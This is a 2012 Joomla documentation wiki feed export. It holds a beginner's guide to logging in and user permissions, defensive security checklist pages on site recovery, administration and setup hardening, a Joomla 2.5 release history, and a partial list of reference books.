&lt;div&gt;{{:Getting Started Page Index/1.5}}&lt;br /&gt;
{{JVer|1.5}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.5.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
===Who is it written for?===&lt;br /&gt;
:*Everyone&lt;br /&gt;
:*The main focus is on people who do not have much experience of using web sites.&lt;br /&gt;
You also need:-&lt;br /&gt;
:*to have access to a Joomla! site with  an appropriate level of permission&lt;br /&gt;
&lt;br /&gt;
Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.&lt;br /&gt;
&lt;br /&gt;
You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.&lt;br /&gt;
&lt;br /&gt;
===How to login===&lt;br /&gt;
You will need a username with the right permissions for what you are going to do, such as add and edit articles.&lt;br /&gt;
&lt;br /&gt;
You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password.&lt;br /&gt;
*Open the site in your browser&lt;br /&gt;
{{:How to login}}&lt;br /&gt;
&lt;br /&gt;
=== Usernames and permissions===&lt;br /&gt;
Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.&lt;br /&gt;
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator. &lt;br /&gt;
&lt;br /&gt;
There are four levels of permission  relevant to adding and editing Articles in a Joomla! Web site. &lt;br /&gt;
* &#039;&#039;&#039;Guests:&#039;&#039;&#039; Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.&lt;br /&gt;
*&#039;&#039;&#039;Registered users:&#039;&#039;&#039; Others can login but have &#039;read only&#039; access to the site - in other words they cannot alter anything. &lt;br /&gt;
You will need to be given a username (with a password) by your Administrator with a level of access that will allow you to edit and create content. &lt;br /&gt;
*&#039;&#039;&#039;Author or Editor:&#039;&#039;&#039; You may be given &#039;author&#039; or &#039;editor&#039; permissions, which allows you to edit and add Articles, but does not allow you to &#039;publish&#039; them. Publishing an article makes it visible to visitors to the web site. Authors can only edit articles that they have created.&lt;br /&gt;
*&#039;&#039;&#039;Publisher:&#039;&#039;&#039; You may have &#039;publisher&#039; permissions, which allows you to publish articles, as well as adding and editing them.&lt;br /&gt;
&lt;br /&gt;
==Where Next?==&lt;br /&gt;
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.&lt;br /&gt;
*[[Hands-on editing an article: Joomla! 1.5|Hands-on how to begin to edit an Article.]] This will help you to become familiar with editing in Joomla!&lt;br /&gt;
&lt;br /&gt;
==Further information==&lt;br /&gt;
&lt;br /&gt;
There are other levels of permission that are needed for managing a site. This has some further detail -&lt;br /&gt;
[[How permissions work in Joomla! 1.5 |Controlling user access to a Joomla! Site]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Recovery&amp;diff=71485</id>
		<title>Security Checklist/Site Recovery</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Recovery&amp;diff=71485"/>
		<updated>2012-08-17T00:03:40Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Site Recovery ==&lt;br /&gt;
&lt;br /&gt;
=== Get help the right way ===&lt;br /&gt;
:If you believe your Web site was attacked, &#039;&#039;&#039;do not&#039;&#039;&#039; create yet another oh-so-boring post in the Joomla! forums with the title, &#039;&#039;&amp;quot;Help! I&#039;ve been hacked.&amp;quot;&#039;&#039; This tells us nothing of importance. The vast majority of compromised sites were not setup correctly or were using obsolete versions of Joomla! or third-party extensions. This is what you need to investigate.&lt;br /&gt;
&lt;br /&gt;
:If you discover a real vulnerability, publishing the information could put other Web sites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].&lt;br /&gt;
&lt;br /&gt;
=== Follow a logical and rigorous recovery process ===&lt;br /&gt;
:Know the important steps to follow when your site has been compromised. Once your site has been cracked, there are few shortcuts. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Help.21_My_site.27s_been_compromised._Now_what.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Reset your administrator password===&lt;br /&gt;
:Many attackers take pleasure in locking you out of your site. They often do this by changing your administrator password. If you are locked out, don&#039;t panic! There is a simple procedure for resetting your administrator password. &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Find exploit attempts using the *NIX shell===&lt;br /&gt;
:Know how to check for suspicious and/or modified files. Know how to check the raw Apache logs for suspicious activity on your site. &#039;&#039;&#039;([[Security_and_Performance_FAQs#How_do_I_find_exploits_using_the_.2ANIX_shell.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Your Turn... ==&lt;br /&gt;
:If you discover a vulnerability in Joomla! core files, [http://developer.joomla.org/security/contact-the-team.html report it here].&lt;br /&gt;
&lt;br /&gt;
Proceed through [http://docs.joomla.org/Security_Checklist_7 checklist 7]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
# [[Security Checklist 7 | You have been Hacked/checklist 7]]&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=71484</id>
		<title>Security Checklist/Site Administration</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Site_Administration&amp;diff=71484"/>
		<updated>2012-08-17T00:03:28Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Site Administration ==&lt;br /&gt;
&lt;br /&gt;
===Use well-formed passwords===&lt;br /&gt;
: Change passwords regularly and keep them unique. A strong  password has a random combination of letters, numbers, or symbols. Avoid using single names or words found in a dictionary. Never use the names of your relatives, pets, etc. Search the forums for a script supplied by Wizzie that automatically changes passwords. This is a great tool for administrators or multiple sites. There are numerous handy websites that have [http://strongpasswordgenerator.com strong password generators].&lt;br /&gt;
&lt;br /&gt;
===Follow a password leveling scheme===&lt;br /&gt;
: Most users may not need more than three levels of passwords and webmasters no more than five. Each level must be completely unrelated to the others in terms of which usernames and passwords are used. Learn how to do this: [[How do you setup a powerful password scheme?]]&lt;br /&gt;
&lt;br /&gt;
===Maintain a strong site backup process===&lt;br /&gt;
: Never rely on others&#039; backups. Take responsibility for your backup procedures. Many ISPs state in their contract that you cannot rely solely on their backups.&lt;br /&gt;
&lt;br /&gt;
===Monitor crack attempts===&lt;br /&gt;
: VPS and dedicated server users can run [http://www.tripwire.com/ TripWire] or [http://la-samhna.de/samhain/ SAMHAIN]. These applications provide exhaustive file checking and reporting functionality, and can be installed in a stealthy manner to help protect themselves in the event of a serious infiltration. (Note: Users of shared servers cannot use this technique.)&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Perform automated intrusion detection===&lt;br /&gt;
: Use an Intrusion Prevention/Detection Systems to block/alert on malicious HTTP requests. &lt;br /&gt;
* [http://www.google.com/search?q=Intrusion+Prevention Google search]&lt;br /&gt;
&lt;br /&gt;
===Perform manual intrusion detection===&lt;br /&gt;
: Regularly check raw logs for suspicious activity. Don&#039;t rely on summaries and graphs.&lt;br /&gt;
&lt;br /&gt;
===Stay current with security patches and upgrades===&lt;br /&gt;
: Apply vendor-released security patches ASAP.&lt;br /&gt;
* Review the [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek site vulnerabilities===&lt;br /&gt;
: Perform frequent web scanning.&lt;br /&gt;
&lt;br /&gt;
* [http://www.google.com/search?q=%22web+scanning Google Search]&lt;br /&gt;
&lt;br /&gt;
===Proactively seek SQL injections vulnerabilities===&lt;br /&gt;
: Use tools such as [http://www.parosproxy.org/ Paros Proxy] for conducting automated SQL Injection tests against your PHP applications.&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://www.google.com/search?q=%22SQL+Injection Google Search]&amp;lt;/li&amp;gt;&lt;br /&gt;
         &amp;lt;li&amp;gt;[http://en.wikipedia.org/wiki/SQL_injection Wikipedia Article]&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Use shell scripts to automate security tasks===&lt;br /&gt;
: Search the forums for these popular scripts:&lt;br /&gt;
      &amp;lt;ul&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Joomla! Component/Module Version Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
           &amp;lt;li&amp;gt;Exploit Checking&amp;lt;/li&amp;gt;&lt;br /&gt;
      &amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Learn about security software===&lt;br /&gt;
: There is not a single tool that can protect your site. If there were, it would be so heavily targeted that it would probably become a liability.&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t reinvent every wheel===&lt;br /&gt;
: Every now and then, hire a professional Joomla! security consultant to review your configurations. Do you remember the adage, &#039;&#039;&amp;quot;Anyone who acts as their own lawyer has a fool for a client.&amp;quot;?&#039;&#039; The same goes for Web development. Don&#039;t expect to catch all of your own security mistakes.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=71483</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=71483"/>
		<updated>2012-08-17T00:03:03Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Edited by */ Not needed; as this is a wiki and you can see from the history who edited this page.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
Note to editors: This extension has been unpublished for the following reason: UR8-Copyright Violations&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
&#039;&#039;This has more to do with secure payments and administration, and is not Joomla! core or server security, but has been included here for advisory purposes.&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Cadrlp&amp;diff=68113</id>
		<title>User:Cadrlp</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Cadrlp&amp;diff=68113"/>
		<updated>2012-07-01T07:21:07Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla_2.5_version_history&amp;diff=68112</id>
		<title>Joomla 2.5 version history</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla_2.5_version_history&amp;diff=68112"/>
		<updated>2012-07-01T07:19:59Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Joomla! 2.5.6 ==&lt;br /&gt;
* 19 June 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5428-joomla-256-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6376 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.6 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.5 ==&lt;br /&gt;
* 18 June 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5427-joomla-255-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6374 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.5 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.4 ==&lt;br /&gt;
* 2 April 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5418-joomla-254-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6318 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.4 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.3 ==&lt;br /&gt;
* 15 March 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5416-joomla-253-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6302 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.3 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.2 ==&lt;br /&gt;
* 5 March 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5415-joomla-252-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6296 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.2 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.1 ==&lt;br /&gt;
* 2 February 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5410-joomla-251-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6257 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.1 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
== Joomla! 2.5.0 ==&lt;br /&gt;
* 24 January 2012&lt;br /&gt;
* [http://www.joomla.org/announcements/release-news/5403-joomla-250-released.html Release Notes]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6231 Package and MD5s]&lt;br /&gt;
* [[:Category: Version 2.5.0 FAQ|FAQ and known issues]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Joomla! 2.5]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Cadrlp&amp;diff=62606</id>
		<title>User talk:Cadrlp</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Cadrlp&amp;diff=62606"/>
		<updated>2011-10-15T01:21:26Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: Blanked the page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=References&amp;diff=62605</id>
		<title>References</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=References&amp;diff=62605"/>
		<updated>2011-10-15T01:19:52Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* Other documents in this series */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;noinclude&amp;gt;&lt;br /&gt;
This is a list of references for both versions - marked by the 1.5 / 1.6 logos.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The aim of listing references is to choose some that are found useful or that summarise Joomla! There are many detailed references at the foot of all the documents. Both versions are included here because it is useful to see what is available for both versions alongside one another.&lt;br /&gt;
&lt;br /&gt;
===Joomla! main and documentation sites===&lt;br /&gt;
* http://www.joomla.org/ Links to everything but be careful you do not get lost!&lt;br /&gt;
&lt;br /&gt;
* http://docs.joomla.org/ The official Documentation web site for all versions of Joomla!&lt;br /&gt;
&lt;br /&gt;
===Books===&lt;br /&gt;
&lt;br /&gt;
As Joomla! becomes widely used, there are more books aimed at various levels of expertise. It may seem strange to recommend books for an on-line application but the book has not died as a result of on-screen documentation. Studies have shown that people read differently on-screen and on paper, so it makes sense to use books alongside other resources. Here are some that enhance to the on-line or on-screen documentation.&lt;br /&gt;
&lt;br /&gt;
{{JVer|1.5}}&lt;br /&gt;
*&#039;&#039;&#039;Jennifer Marriott and Elin Waring, &#039;&#039;The Official Joomla! Book&#039;&#039;&#039;&#039;&#039; Addison-Wesley Professional, 2010. Part of the Joomla! Press series. This is a very useful guide to Joomla! because it has masses of background about how to think about the design of a new site. It also links to examples set up for the book. And masses of useful advice and links. &lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Ric Shreves, &#039;&#039;Joomla! Bible,&#039;&#039;&#039;&#039;&#039; Wiley, 2010. Comprehensive and practical. A reference book but with a lot of practical things, as well as nuggets of information. Good for developers but also useful for learners. It has some material about version 1.6 but was published for version 1.5.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Cory Webb, &#039;&#039;Beginning Joomla! Web Site Development,&#039;&#039;&#039;&#039;&#039; Wrox Wiley 2009. One of the Programmer to Programmer series. Better for people with a bit of experience of computing in general and web sites in particular. But it has some good parts - including some detailed analysis of Template files.&lt;br /&gt;
&lt;br /&gt;
